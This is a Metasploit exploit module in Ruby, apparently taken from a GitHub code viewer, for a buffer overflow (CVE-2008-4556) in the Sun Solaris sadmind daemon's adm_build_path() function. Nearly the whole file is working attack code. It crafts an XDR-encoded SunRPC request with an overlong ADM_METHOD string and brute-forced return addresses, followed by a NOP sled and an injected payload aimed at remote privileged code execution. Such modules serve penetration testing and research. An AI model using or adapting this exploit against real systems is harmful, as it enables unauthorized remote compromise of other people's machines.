Path: blob/master/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow vulnerability in adm_build_path()18function of Sun Solstice AdminSuite sadmind daemon.1920The distributed system administration daemon (sadmind) is the daemon used by21Solstice AdminSuite applications to perform distributed system administration22operations.2324The sadmind daemon is started automatically by the inetd daemon whenever a25request to invoke an operation is received. The sadmind daemon process26continues to run for 15 minutes after the last request is completed, unless a27different idle-time is specified with the -i command line option. The sadmind28daemon may be started independently from the command line, for example, at29system boot time. In this case, the -i option has no effect; sadmind continues30to run, even if there are no active requests.31},32'Author' => [33'Ramon de C Valle',34'Adriano Lima <adriano[at]risesecurity.org>',35],36'Arch' => ARCH_X86,37'Platform' => 'solaris',38'References' => [39['CVE', '2008-4556'],40['OSVDB', '49111'],41['URL', 'https://web.archive.org/web/20081201000000*/https://risesecurity.org/advisories/RISE-2008001.txt'],42],43'Privileged' => true,44'License' => MSF_LICENSE,45'Payload' => {46'Space' => 1024,47'BadChars' => "\x00"48},49'Targets' => [50[51'Sun Solaris 9 x86 Brute Force',52{53'Arch' => [ ARCH_X86 ],54'Platform' => 'solaris',55'Nops' => 1024 * 32,56'Bruteforce' =>57{58'Start' => { 'Ret' => 0x08062030 },59'Stop' => { 'Ret' => 0x08072030 },60'Step' => 1024 * 3061}62}63],64[65'Sun Solaris 9 x86',66{67'Nops' => 1024 * 4,68'Bruteforce' =>69{70'Start' => { 'Ret' => 0x08066a60 + 2048 },71'Stop' => { 'Ret' => 0x08066a60 + 2048 },72'Step' => 173}74}75],76[77'Debug',78{79'Nops' => 1024 * 4,80'Bruteforce' =>81{82'Start' => { 'Ret' => 0xaabbccdd },83'Stop' => { 'Ret' => 0xaabbccdd },84'Step' => 185}86}87],88],89'DefaultTarget' => 0,90'DisclosureDate' => '2008-10-14',91'Notes' => {92'Stability' => [CRASH_SERVICE_RESTARTS],93'Reliability' => [REPEATABLE_SESSION],94'SideEffects' => [IOC_IN_LOGS]95}96)97)98end99100def check101port = sunrpc_create('udp', 100232, 10)102port.nil? ? CheckCode::Safe : CheckCode::Detected103ensure104sunrpc_destroy unless rpcobj.nil?105end106107def brute_exploit(brute_target)108begin109sunrpc_create('udp', 100232, 10)110rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e111vprint_error(e.to_s)112return113end114115unless @nops116print_status('Creating nop block...')117if target['Nops'] > 0118@nops = make_nops(target['Nops'])119else120@nops = ''121end122end123124print_status('Trying to exploit sadmind with address 0x%.8x...' % brute_target['Ret'])125126hostname = 'localhost'127128# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')129buf1 = 'A' * 1017 + [brute_target['Ret']].pack('L')130buf2 = @nops + payload.encoded131132header = Rex::Encoder::XDR.encode(0) * 7133header << Rex::Encoder::XDR.encode(1346, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,1354, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,136hostname, 'system', rand_text_alpha(16)137)138139body =140do_int('ADM_FW_VERSION', 1) +141do_string('ADM_LANG', 'C') +142do_string('ADM_REQUESTID', '00009:000000000:0') +143do_string('ADM_CLASS', 'system') +144do_string('ADM_CLASS_VERS', '2.1') +145do_string('ADM_METHOD', buf1) +146do_string('ADM_HOST', hostname) +147do_string('ADM_CLIENT_HOST', hostname) +148do_string('ADM_CLIENT_DOMAIN', '') +149do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +150do_int('ADM_FENCE', 0) +151do_string('X', buf2) +152Rex::Encoder::XDR.encode('netmgt_endofargs')153154request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body155156begin157# two seconds timeout for brute force158sunrpc_call(1, request, 2)159rescue Rex::Proto::SunRPC::RPCTimeout160print_status('Server did not respond, this is expected')161rescue Rex::Proto::SunRPC::RPCError => e162print_error(e.to_s)163end164ensure165sunrpc_destroy unless rpcobj.nil?166end167168def do_string(str1, str2)169Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)170end171172def do_int(str, int)173Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)174end175end176177178